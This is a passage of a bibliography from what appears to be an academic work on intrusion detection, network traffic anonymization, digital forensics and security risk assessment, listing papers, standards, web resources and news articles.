[A16] Daniel Barbara. Applications of Data Mining in Computer Security. Kluwer
Academic Publishers, Norwell, MA, USA, 2002.
REFERENCES 369
[A17] Richard Bejtlich. The Tao of Network Security Monitoring: Beyond Intrusion
Detection. Addison Wesley Professional, 2004.
[A18] Matt Bishop. A Model of Security Monitoring. In Proceedings of the Fifth Annual
Computer Security Applications Conference, Tucson, AZ, December 1989.
[A19] Joachim Biskup and Ulrich Flegel. On pseudonymization of audit data for intru-
sion detection. In Workshop on Design Issues in Anonymity and Unobservability.
Springer-Verlag, LNCS 2009, July 2000.
[A20] Tønnes Brekne. Anonymization of IP traffic monitoring data: Attacks on two
prefix-preserving anonymization schemes and some proposed remedies. Presen-
tation slides from Workshop on Privacy Enhanced Technologies (PET), June 1st,
2005.
[A21] Tønnes Brekne and Andre´ A˚rnes. Circumventing IP-address pseudonymization in
O(N2) time. In Proceedings of IASTED Communication and Computer Networks
(CCN), 2005.
[A22] Tønnes Brekne, Andre´ A˚rnes, and Arne Øslebø. Anonymization of IP traffic
monitoring data: Attacks on two prefix-preserving anonymization schemes and some
proposed remedies. In Proceedings of Privacy Enhancing Technologies workshop
(PET 2005), volume 3856. Springer, 2006.
[A23] Herbert Burkert. Privacy-Enhancing Technologies: Typology, Critique, Vision,
chapter 4, pages 125 – 142. In Agre and Rotenberg [A2], 2001.
[A24] Lee Bygrave. Data Protection Law – Approaching its Rationale, Logic and Limits.
Kluwer Law International, 2002.
[A25] Jan Camenisch and Anna Lysyanskaya. An efficient system for non-transferable
anonymous credentials with optional anonymity revocation. In B. Pfitzmann, ed-
itor, Advances in Cryptology - EUROCRYPT 2001: Second Symposium, PADO
2001. Springer-Verlag, LNCS 2045, June 2003.
[A26] Olivier Cappe´, Eric Moulines, and Tobias Ryden. Inference in Hidden Markov
Models (Springer Series in Statistics). Springer, August 2005.
370 REFERENCES
[A27] Megan Carney and Marc Rogers. The Trojan made me do it: A first step in
statistical based computer forensics event reconstruction. International Journal of
Digital Evidence, 2, 2004.
[A28] Brian D. Carrier. An event-based digital forensic investigation framework. In
Digital Forensic Research Workshop, 2004.
[A29] Brian D. Carrier and Eugene H. Spafford. Defining event reconstruction of digital
crime scenes. Journal of Forensic Sciences, 49, 2004.
[A30] David Chaum. Untraceable electronic mail, return addresses, and digital pseudo-
nyms. Communications of the ACM, 4(2), February 1981.
[A31] David Chaum. The dining cryptographers problem: Unconditional sender and
recipient untraceability. Journal of Cryptology, 1:65–75, 1988.
[A32] W. Jerry Chisum and Brent E. Turvey. Evidence dynamics: Locard’s exchange
principle & crime reconstruction. Journal of Behavioral Profiling, 1(1), 2000.
[A33] Kenjiro Cho, Koushirou Mitsuya, and Akira Kato. Traffic Data Repository at
the WIDE Project. In Proceedings of USENIX 2000 Annual Technical Conference:
FREENIX Track, pages 263–270, 2000.
[A34] Benoit Claise. IPFIX protocol specification (internet draft), 2005.
[A35] Jan Coppens, Evangelos P. Markatos, Jiri Novotny, Michalis Polychronakis,
Vladimir Smotlacha, and Sven Ubik. SCAMPI – a scaleable monitoring platform
for the internet. In Proceedings of the 2nd International Workshop on Inter-Domain
Performance and Simulation (IPS), 2004.
[A36] David Dagon, Xinzhou Qin, Guofei Gu, Wenke Lee, Julian B. Grizzard, John G.
Levine, and Henry L. Owen. Honeystat: Local worm detection using honeypots.
In Erland Jonsson, Alfonso Valdes, and Magnus Almgren, editors, RAID, volume
3224 of Lecture Notes in Computer Science, pages 39–58. Springer, 2004.
[A37] Willem de Bruijn, Asia Slowinska, Kees van Reeuwijk, Tomas Hruby, Li Xu, and
Herbert Bos. SafeCard: A gigabit IPS on the network card. In Proceedings of
REFERENCES 371
9th International Symposium on Recent Advances in Intrusion Detection (RAID),
Hamburg, Germany, September 2006.
[A38] Edmundo de Souza e Silva and H. Richard Gail. Performability analysis of com-
puter systems: From model specification to solution. Performance Evaluation, (1),
1992.
[A39] Herve´ Debar, David A. Curry, and Benjamin S. Feinstein. Intrusion detection
message exchange format (IDMEF) – internet-draft, 2005.
[A40] Dorothy E. Denning. An intrusion-detection model. IEEE Transactions on Soft-
ware Engineering, 13(2):222 – 232, February 1987.
[A41] Whitfield Diffie and Martin E. Hellman. Privacy and authentication: An intro-
duction to cryptography. In Proceedings of the IEEE, volume 67, pages 297–427,
1979.
[A42] Theo Dimitrakos, Juan Bicarregui, and Ketil Stølen. CORAS – a framework for
risk analysis of security critical systems. ERCIM News, (49):25 – 26, April 2002.
[A43] Roger Dingledine, Nick Mathewson, and Paul Syverson. Tor: The second-
generation onion router. In Proceedings of the 13th USENIX Security Symposium,
August 2004.
[A44] Christopher Elsaesser and Michal C. Tanner. Automated diagnosis for computer
forensics. Technical report, The MITRE Corporation, 2001.
[A45] Shelby Evans, David Heinbuch, Elizabeth Kyule, John Piorkowski, and James Wall-
ner. Risk-based systems security engineering: Stopping attacks with intention.
IEEE Security and Privacy, 02(6):59 – 62, 2004.
[A46] Simone Fischer-Hu¨bner. IT-Security and Privacy - Design and Use of Privacy-
Enhancing Security Mechanisms, volume 1958 of Lecture Notes in Computer Sci-
ence. Springer, 2001.
[A47] Ulrich Flegel. Pseudonymizing Audit Data for Privacy Respecting Misuse Detec-
tion. PhD thesis, 2006.
372 REFERENCES
[A48] Dario Forte. Using Tcpdump and Sanitize for System Security. ;login:, 26(3),
2001.
[A49] Espen A. Fossen. Automatic tracing of internet addresses. Technical report,
Department of Telematics, Norwegian University of Science and Technology, 2004.
[A50] Espen Andre´ Fossen. Principles of internet investigation: Basic reconnaissance,
geopositioning, and public information sources. Master’s thesis, Norwegian Univer-
sity of Science and Technology, 2005.
[A51] Rune Fredriksen, Monica Kristiansen, Bjørn A. Gran, Ketil Stølen, Tom A. Op-
perud, and Theodosis Dimitrakos. The CORAS framework for a model-based risk
management process. In Proceedings of The International Conference on Computer
Safety, Reliability and Security (SAFECOMP), pages 94–105, 2002.
[A52] Debin Gao, Michael K. Reiter, and Dawn Song. Behavioral distance measurement
using hidden Markov models. In Proceedings of Recent Advances in Intrusion
Detection (RAID), Springer LNCS 4219. Springer, 2006.
[A53] Ashish Gehani and Gershon Kedem. Rheostat: Real-time risk management.
In Recent Advances in Intrusion Detection: 7th International Symposium, RAID
2004, Sophia Antipolis, France, September 15-17, 2004. Proceedings, pages 296–
314. Springer, 2004.
[A54] Pavel Gladyshev and Ahmed Patel. Finite state machine approach to digital event
reconstruction. Digital Investigation, 1, 2004.
[A55] David Goldschlag, Michael Reed, and Paul Syverson. Onion routing. Communi-
cations of the ACM, 42(2):39–41, 1999.
[A56] Katerina Goseva-Popstojanova, Kalyanaraman Vaidyanathan, Kishor Trivedi,
Feiyi Wang, Rong Wang, Fengmin Gong, and Balamurugan Muthusamy. Char-
acterizing intrusion tolerant systems using a state transition model. In DARPA
Information Survivability Conference and Exposition (DISCEX II), volume 2, 2001.
[A57] Ron Gula. Correlating IDS alerts with vulnerability information. Technical report,
Tenable Network Security, December 2002.
REFERENCES 373
[A58] Katie Hafner and John Markoff. Cyberpunk – Outlaws and Hackers on the Com-
puter Frontier. Simon & Schuster, 1991.
[A59] Joshua Haines, Stephen Goulet, Robert Durst, and Terrance Champion. LLSIM:
Network simulation for correlation and response testing. In IEEE Workshop on
Information Assurance, West Point, NY, June 2003.
[A60] Kjetil Haslum and Andre´ A˚rnes. Multisensor real-time risk assessment using
continuous-time hidden Markov models. In Proceedings of the International Con-
ference on Computational Intelligence and Security (CIS), 2006.
[A61] Øystein Haugen and Ketil Stølen. Stairs - steps to analyze interactions with
refinement semantics. In Proceedings of the Sixth International Conference on
UML, pages 388–402, 2003.
[A62] Guy Helmer, Johnny S. K. Wong, Vasant G. Honavar, Les Miller, and Yanxin
Wang. Lightweight agents for intrusion detection. Journal of Systems and Software,
67(2):109–122, 2003.
[A63] International Organization of Standards (ISO) and International Electrotechnical
Commission (IEC). ISO/IEC 15408, information technology – security techniques
– evaluation criteria for it security – part 1: Introduction and general model, 2005.
[A64] International Organization of Standards (ISO) and International Electrotechnical
Commission (IEC). ISO/IEC 15408, information technology – security techniques
– evaluation criteria for it security – part 3: Security assurance requirements, 2005.
[A65] International Organization of Standards (ISO) and International Electrotechnical
Commission (IEC). ISO/IEC 15408,i nformation technology – security techniques
– evaluation criteria for it security – part 2: Security functional requirements, 2005.
[A66] International Organization of Standards (ISO) and International Electrotechnical
Commission (IEC). ISO/IEC 17799, information technology – security techniques
– code of practice for information security management, 2005.
374 REFERENCES
[A67] International Organization of Standards (ISO) and International Electrotechnical
Commission (IEC). ISO/IEC 27001, information technology – security techniques
– information security management systems – requirements, 2005.
[A68] Xuxian Jiang, Dongyan Xu, Helen Wang, and Eugene Spafford. Virtual play-
grounds for worm behavior investigation. In 8th International Symposium on Recent
Advances in Intrusion Detection, Seattle, WA, September 2005.
[A69] Curtis A. Carver Jr., John M.D. Hill, John R. Surdu, and Udo W. Pooch. A
methodology for using intelligent agents to provide automated intrusion response.
In Proceedings of the IEEE Workshop on Information Assurance and Security, 2000.
[A70] D. Koukis, S. Antonatos, D. Anoniades, Evangelos P. Markatos, and P. Trimintzios.
A generic anonymization framework for network traffic. In Proceedings of the IEEE
International Conference on Communications (ICC), 2006.
[A71] Cristopher Kruegel, Engin Kirda, Darren Mutz, Will Robertson, and Giovanni
Vigna. Polymorphic worm detection using structural information of executables.
In Proceedings of the International Symposium on Recent Advances in Intrusion
Detection (RAID), volume 3858 of LNCS, pages 207–226, Seattle, WA, September
2005. Springer-Verlag.
[A72] Cristopher Kruegel and Will Robertson. Alert verification: Determining the suc-
cess of intrusion attempts. In Proceedings of the 1st Workshop on the Detection of
Intrusions and Malware and Vulnerability Assessment (DIMVA 2004), Dortmund,
Germany, July 2004.
[A73] Cristopher Kruegel, Will Robertson, and Giovanni Vigna. Using alert verification
to identify successful intrusion attempts. Practice in Information Processing and
Communication (PIK), 27(4):219 – 227, October – December 2004.
[A74] Cristopher Kruegel, Fredrik Valeur, and Giovanni Vigna. Intrusion Detection
and Correlation: Challenges and Solutions, volume 14 of Advances in Information
Security. Springer, 2005.
REFERENCES 375
[A75] Wenke Lee and Salvatore Stolfo. Data mining approaches for intrusion detection.
In Proceedings of the 7th USENIX Security Symposium, San Antonio, TX, 1998.
[A76] Anna Lysyanskaya, Ronald L. Rivest, Amit Sahai, and Stefan Wolf. Pseudonym
systems. In H. Heys and C. Adams, editors, Selected Areas in Cryptography: 6th
Annual International Workshop, SAC’99. Springer-Verlag, LNCS 1758, August
1999.
[A77] David J. Marchette. Computer Intrusion Detection and Network Monitoring: A
Statistical Viewpoint. Springer-Verlag, 2001.
[A78] Jesus Mena. Investigative Data Mining for Security and Criminal Detection.
Butterworth-Heinemann, 2003.
[A79] Alfred J. Menezes, Paul van Oorschot, and Scott Vanstone. Handbook of Applied
Cryptography. CRC Press, 1996.
[A80] David Moore, Colleen Shannon, Doug Brown, Geoffrey M. Voelker, and Stefan
Savage. Inferring internet denial-of-service activity. 2006. To appear in IEEE/ACM
Transactions on Computer Science.
[A81] David Moore, Geoffrey M. Voelker, and Stefan Savage. Inferring internet denial-
of-service activity. In Proceedings of the 2001 USENIX Security Symposium, 2001.
[A82] Stephan Neuhaus and Andreas Zeller. Isolating intrusions by automatic experi-
ments. In Proceedings of the 13th Annual Network and Distributed System Security
Symposium, pages 71 – 80, 2006.
[A83] David M. Nicol, William H. Sanders, and Kishor S. Trivedi. Model-based eval-
uation: From dependability to security. IEEE Transactions on Dependable and
Secure Computing, 1:48 – 65, 2004.
[A84] NIST. Computer security threat monitoring and surveillance. Technical report,
NIST, 1980.
[A85] Stephen Northcutt and Judy Novak. Network Intrusion Detection (3rd Edition).
Sams, 2002.
376 REFERENCES
[A86] Tom O’Connor. Introduction to crime reconstruction. Lecture Notes for Criminal
Investigation, 2004. North Carolina Wesleyan College.
[A87] OECD guidelines governing the protection of privacy and transborder flows of
personal data, 1980. Adopted by the Council 23 September 1980.
[A88] Dirk Ourston, Sara Matzner, William Stump, and Bryan Hopkins. Applications
of hidden Markov models to detecting multi-stage network attacks. In Proceedings
of the 36th Hawaii International Conference on System Sciences (HICSS), 2003.
[A89] Lasse Øverlier, Tønnes Brekne, and Andre´ A˚rnes. Non-expanding transaction
specific pseudonymization for IP traffic monitoring. In Proceedings of the 4th In-
ternational Conference on Cryptology and Network Security (CANS), volume 3810.
Springer, 2005.
[A90] Venkata N. Padmanabhan and Lakshminarayanan Subramanian. An investiga-
tion of geographic mapping techniques for internet hosts. Proceedings of SIG-
COMM’2001, page 13, 2001.
[A91] Ruoming Pang and Vern Paxson. A high-level programming environment for
packet trace anonymization and transformation. In SIGCOMM ’03: Proceedings of
the 2003 conference on Applications, technologies, architectures, and protocols for
computer communications, pages 339–351, New York, NY, USA, 2003. ACM Press.
[A92] Giuseppe Persiano and Ivan Visconti. An efficient and usable multi-show non-
transferable anonymous credential system. In Financial Cryptography: 8th In-
ternational Conference, pages 196–211. Springer-Verlag, LNCS 3110, September
2004.
[A93] Markus Peuhkuri. A method to compress and anonymize packet traces. Internet
Measurement Workshop (San Francisco, California, USA: 2001), pages 257–261,
2001.
[A94] Andreas Pfitzmann and Marit Koehntopp. Anonymity, unobservability, and
pseudonymity – A proposal for terminology. In Workshop on Design Issues in
Anonymity and Unobservability, 2000.
REFERENCES 377
[A95] Phillip A. Porras, Martin W. Fong, , and Alfonso Valdes. A mission-impact-
based approach to INFOSEC alarm correlation. In Proceedings of the International
Symposium on the Recent Advances in Intrusion Detection, pages 95–114, Zurich,
Switzerland, October 2002.
[A96] Phillip A. Porras and Peter G. Neumann. EMERALD: Event monitoring enabling
responses to anomalous live disturbances. In Proc. 20th NIST-NCSC National
Information Systems Security Conference, pages 353–365, 1997.
[A97] Lawrence R. Rabiner. A tutorial on hidden Markov models and selected applica-
tions in speech recognition. Readings in speech recognition, pages 267–296, 1990.
[A98] Ramaswamy Ramaswamy, Ning Weng, and Tilman Wolf. An IXA-based network
measurement node. In Proc. of Intel IXA University Summit, 2004.
[A99] RAND. Advanced Network Defense Research – Proceedings of a Workshop, 2000.
[A100] Jean-Franc¸ois Raymond Raymond. Traffic analysis: Protocols, attacks, design
issues, and open problems. In Workshop on Design Issues in Anonymity and
Unobservability. Springer-Verlag, LNCS 2009, July 2000.
[A101] Michael Richmond. ViSe: A virtual security testbed. Master’s thesis, University
of California, Santa Barbara, 2005.
[A102] James Riordan, Andreas Wespi, and Diego Zamboni. How to hook worms. IEEE
Spectrum, 2005.
[A103] Sheldon M. Ross. Introduction to Probability Models. Academic Press, New York,
8th edition, 2003.
[A104] Lee Rossey, Robert Cunningham, David Fried, Jesse Rabek, Richard Lippman,
Joshua Haines, and Marc Zissman. LARIAT: Lincoln adaptable real-time informa-
tion assurance testbed. 2002 IEEE Aerospace Conference Proceedings, 2002.
[A105] William H. Sanders Sankalp Singh, Michel Cukier. Probabilistic validation of
an intrusion-tolerant replication system. In de Bakker, J.W., de Roever, W.-P.,
and Rozenberg, G., editors, International Conference on Dependable Systems and
Networks (DSN‘03), June 2003.
378 REFERENCES
[A106] Bruce Schneier. Applied Cryptography. John Wiley & Sons, Inc., 1996.
[A107] Adam Slagell, Jun Wang, and William Yurick. Network log anonymization: Appli-
cation of Crypto-PAn to Cisco Netflows. In IEEE Workshop on Secure Knowledge
Management (SKM), 2004.
[A108] Steven R. Snapp, James Brentano, Gihan V. Dias, Terrance L. Goan, L. Todd
Heberlein, Che lin Ho, Karl N. Levitt, Biswanath Mukherjee, Stephen E. Smaha,
Tim Grance, Daniel M. Teal, and Doug Mansur. DIDS (distributed intrusion
detection system) – motivation, architecture, and an early prototype. In Proceedings
of the 14th National Computer Security Conference, pages 167–176, Washington,
DC, 1991.
[A109] Michael Sobirey, Simone Fischer-Hu¨bner, and Kai Rannenberg. Pseudonymous
audit for privacy enhanced intrusion detection. In SEC, pages 151–163, 1997.
[A110] Lance Spitzner. Know Your Enemy: Revealing the Security Tools, Tactics, and
Motives of the Blackhat Community. Addison Wesley, 2001.
[A111] Lance Spitzner. Honeypots: Tracking Hackers. Addison Wesley, 2002.
[A112] Lance Spitzner. Know Your Enemy: Learning about Security Threats (2nd Edi-
tion). Addison Wesley, 2004.
[A113] Markus Stadler. Cryptographic Protocols for Revocable Privacy. PhD thesis,
ETH Zurich, 1996.
[A114] Tye Stallard and Karl N. Levitt. Automated analysis for digital forensic sci-
ence: Semantic integrity checking. In Proceedings of the Annual Computer Security
Applications Conference(ACSAC), pages 160–169, 2003.
[A115] Tye B. Stallard. Automated analysis for digital forensic science. Master’s thesis,
University of California, Davis, 2002.
[A116] Standards Australia and Standards New Zealand. AS/NZS 4360: 2004 risk man-
agement, 2004.
REFERENCES 379
[A117] Standards Australia and Standards New Zealand. HB 436:2004 (guidelines
to AS/NZS 4360:2004): Risk management guidelines companion to AS/NZS
4360:2004, 2004.
[A118] Stuart Staniford-Chen, Steven Cheung, Richard Crawford, Mark Dilger, Jeremy
Frank, James A. Hoagland, Karl N. Levitt, Christopher Wee, Raymond W. Yip, and
Dan Zerkle. GrIDS – a graph-based intrusion detection system for large networks.
In Proceedings of the 19th National Information Systems Security Conference, 1996.
[A119] Peter Stephenson. Formal modeling of post-incident root cause analysis. Inter-
national Journal of Digital Evidence, 2, 2003.
[A120] Gary Stonebumer, Alice Goguen, and Alexis Feringa. Risk management guide for
information technology systems, special publication 800-30, 2002.
[A121] Gary Stoneburner, Clark Hayden, and Alexis Feringa. Engineering principles for
it security (a baseline for achieving security), special publication 800-27, 2001.
[A122] Sun Microsystems, Inc. Installing, Administering, and Using the Basic Security
Module. 2550 Garcia Ave., Mountain View, CA 94043, December 1991.
[A123] Marianna Swanson and Barbara Guttman. Generally accepted principles and
practices for securing information technology systems, 1996.
[A124] Juan Jim Tan, Stefan Poslad, and Yanmin Xi. Policy driven systems for dynamic
security reconfiguration. Autonomous Agents and Multi-agent Systems Conference
(AAMAS), 3:1274 – 1275, 2004.
[A125] The European Parliament. Directive 2006/24/EC of the european parliament and
of the council on the retention of data generated or processed in connection with
the provision of publicly available electronic communications services or of public
communications networks and amending, 2006.
[A126] Directive 95/46/EC on the protection of individuals with regard to the processing
of personal data nad on the free movement of such data, 1995.
[A127] The Open Web Application Security Project. The ten most critical web applica-
tion security vulnerabilities. Technical report, OWASP, 2004.
380 REFERENCES
[A128] Lee Badger Timothy Fraser. Ensuring continuity during dynamic security policy
reconfiguration in DTE. In 1998 IEEE Symposium on Security and Privacy, 1998.
[A129] UN guidelines concerning computerized personal data files, 1990. Adopted by the
General Assembly on 14 December 1990.
[A130] Hildegunn Vada. Rekonstruksjon av angrep mot IKT-systemer (reconstruction
of attacks on ICT systems). Master’s thesis, Norwegian University of Science and
Technology, Trondheim, Norway, 2004.
[A131] Fredrik Valeur, Giovanni Vigna, Cristopher Kruegel, and Richard A. Kemmerer.
A comprehensive approach to intrusion detection alert correlation. IEEE Transac-
tions on Dependable and Secure Computing, 1(3):146–169, July-September 2004.
[A132] Douglas Moran Vice. Trapping and tracking hackers: Collective security for
survival in the internet age.
[A133] Giovanni Vigna, Richard A. Kemmerer, and Per Blix. Designing a web of highly-
configurable intrusion detection sensors. In W. Lee, L. Me`, and A. Wespi, editors,
Proceedings of the 4th International Symposium on Recent Advances in Intrusion
Detection (RAID), volume 2212 of LNCS, pages 69–84, Davis, CA, October 2001.
Springer-Verlag.
[A134] Giovanni Vigna, Fredrik Valeur, and Richard Kemmerer. Designing and imple-
menting a family of intrusion detection systems. In Proceedings of European Soft-
ware Engineering Conference and ACM SIGSOFT Symposium on the Foundations
of Software Engineering (ESEC/FSE), Helsinki, Finland, September 2003.
[A135] The platform for privacy preferences 1.0 (P3P1.0) specification, 2002. W3C
Recommendation 16 April 2002.
[A136] Xiaoyun Wang, Dengguo Feng, Xuejia Lai, and Hongbo Yu. Collisions for hash
functions MD4, MD5, HAVAL-128 and RIPEMD. Cryptology ePrint Archive, Re-
port 2004/199, 2004.
REFERENCES 381
[A137] Xiaoyun Wang, Yiqun Lisa Yin, and Hongbo Yu. Finding collisions in the full
SHA-1. In Victor Shoup, editor, CRYPTO, volume 3621 of Lecture Notes in Com-
puter Science, pages 17–36. Springer, 2005.
[A138] Christina Warrender, Stephanie Forrest, and Barak A. Pearlmutter. Detecting
intrusions using system calls: Alternative data models. In Proceedings of the 1999
IEEE Symposium on Security and Privacy, 1999.
[A139] Wei Wei, Bing Wang, and Don Towsley. Continuous-time hidden Markov models
for network performance evaluation. Performance Evaluation, 49:129–146, 2002.
[A140] Brian White, Jay Lepreau, Leigh Stoller, Robert Ricci, Shashi Guruprasad, Mac
Newbold, Mike Hibler, Chad Barb, and Abhijeet Joglekar. An integrated exper-
imental environment for distributed systems and networks. In Fifth Symposium
on Operating Systems Design and Implementation, pages 255–260, Boston, MA,
December 2002. USENIX Association.
[A141] Konstantinos Xinidis, Ioannis Charitakis, Spiros Antonatos, Kostas G. Anagnos-
takis, and Evangelos P. Markatos. An active splitter architecture for intrusion
detection and prevention. IEEE Transactions on Dependable and Secure Comput-
ing, 3(1), January – March 2006.
[A142] Jun Xu, Jinliang Fan, Mostafa Ammar, and Sue B. Moon. On the design and
performance of prefix-preserving IP traffic trace anonymization. In Proceedings of
the ACM SIGCOMM Internet Measurement Workshop 2001, 2001.
[A143] Jun Xu, Jinliang Fan, Mostafa Ammar, and Sue B. Moon. Prefix-preserving
IP address anonymization: Measurement-based security evaluation and a new
cryptography-based scheme. ICNP 2002, 2002.
[A144] Cliff C. Zou, Weibo Gong, Don Towsley, and Lizin Gao. The monitoring and
early detection of internet worms. IEEE/ACM Transactions on Networking, 13(5),
October 2005.
382 REFERENCES
Web References
[B145] aXiS. IWConfig Local ARGV command line buffer overflow vulnerability, 2003.
Bugtraq ID 8901. http://www.securityfocus.com/bid/8901.
[B146] Ernest Baca. Using linux VMware and SMART to create a virtual computer
to recreate a suspect’s computer, 2003. http://www.linux-forensics.com/
SMARTForensics.pdf.
[B147] Computer emergency response team (CERT). http://www.cert.org/.
[B148] The cooperative association for internet data analysis (CAIDA). http://www.
caida.org/.
[B149] Brian D. Carrier. The Sleuth Kit and Autopsy, 2006. http://www.sleuthkit.
org.
[B150] CERT. CERT R© advisory CA-2003-20 W32/Blaster worm, 2003. http://www.
cert.org/advisories/CA-2003-20.html.
[B151] CIA. The world factbook, 2006. https://www.cia.gov/cia/publications/
factbook/rankorder/2153rank.html.
[B152] CORAS IST-2000-25031 Web Site, 2003. http://www.nr.no/coras.
[B153] Andy Cuff. Talisker Anti Forensic Tools, 2004. http://www.networkintrusion.
co.uk/foranti.htm.
[B154] N. Desai. IDS correlation of VA data and IDS alerts. http://www.
securityfocus.com/infocus/1708, June 2003.
[B155] Jeff Dike. User mode linux, 2005. http://user-mode-linux.sourceforge.
net/.
[B156] Guidance Software, Inc. Encase, 2006. http://www.encase.com.
REFERENCES 383
[B157] Honeynet Project. Know your enemy: Learning with VMware – building virtual
honeynets using VMware, 2003. www.honeynet.org.
[B158] Honeynet Project. Detecting VMware, 2005. http://www.honeynet.org/
papers/bots/botnet-code.html.
[B159] Internet storm center (ISS). http://www.incidents.org.
[B160] John Leyden. Trojan defence clears man on child porn charges, 2003. http:
//www.theregister.co.uk/2003/04/24/trojan_defence_clears_man/.
[B161] Lincoln Laboratory. Lincoln laboratory scenario (DDoS) 1.0, 2000. http://www.
ll.mit.edu/SST/ideval/data/2000/LLS_DDOS_1.0.html.
[B162] T. Liston. Welcome to my tarpit: The tactical and strategic use of labrea, 2001.
http://hts.dshield.org/LaBrea/LaBrea.txt.
[B163] Lobster – large-scale monitoring of broadband internet infrastructures, 2006.
http://www.ist-lobster.com.
[B164] MAWI Working Group. MAWI working group traffic archive, 2006. http:
//tracer.csl.sony.co.jp/mawi/.
[B165] The Metasploit project, 2006. http://www.metasploit.com.
[B166] Microsoft. Microsoft Virtual PC, 2004. http://www.microsoft.com/windows/
virtualpc/default.mspx.
[B167] John A. Miller. JSIM: A Java-based simulation and animation environment.
http://chief.cs.uga.edu/~jam/jsim/.
[B168] Jose Nazario. The wormblog. http://www.wormblog.com.
[B169] Niels Provos. The honeyd virtual honeypot, 2005. http://www.honeyd.org.
[B170] Marcus Ranum. Intrusion detection: Challenges and myths. http://secinf.
net/info/ids/ids_mythe.html.
384 REFERENCES
[B171] ronvdaal@zarathustra.linux666.com. PHPBB Viewtopic.PHP remote code exe-
cution vulnerability, 2005. Bugtraq ID 14086. http://www.securityfocus.com/
bid/14086.
[B172] Kurt Seifried. Honeypotting with VMware, 2002. http://www.seifried.org/
security/ids/20020107-honeypot-vmware-basics.html.
[B173] Tim Shelton. VMware flaw in NAT function lets remote users execute arbitrary
code, 2005. http://securitytracker.com/alerts/2005/Dec/1015401.html.
[B174] Elliot Spencer. ILook investigator toolsets, 2006. http://www.ilook-forensics.
org.
[B175] The DETER project. The DETER testbed: Overview, 2004. http://www.isi.
edu/deter/docs/testbed.overview.htm.
[B176] The Internet Society. ISOC member briefing 20 – DNS root name servers fre-
quently asked questions, 2005. http://www.isoc.org/briefings/020/.
[B177] Ivar Mortensson-Egnund (translation). Gr´ımnisma´l. http://www.heimskringla.
no/norsk/edda/grimnismal.php.
[B178] Ivar Mortensson-Egnund (translation). H˚avam˚al. http://www.heimskringla.
no/norsk/edda/havamal.php.
[B179] University of Cambridge Computer Laboratory. The Xen virtual machine moni-
tor, 2005. http://www.cl.cam.ac.uk/.
[B180] VMware. VMware 5.0 manual, 2005. http://www.vmware.com.
[B181] Max Vozeler. CDRTools RSH environment variable privilege escalation vulnera-
bility, 2004. Bugtraq ID 11075. http://www.securityfocus.com/bid/11075.
REFERENCES 385
News References
[C182] Robert McMillan. Researchers hack Wi-Fi driver to breach laptop, 2006. http:
//www.infoworld.com/article/06/06/21/79536_HNwifibreach_1.html.
[C183] Mark Rasch. The giant wooden horse did it!, 2004. http://www.securityfocus.
com/columnists/208.
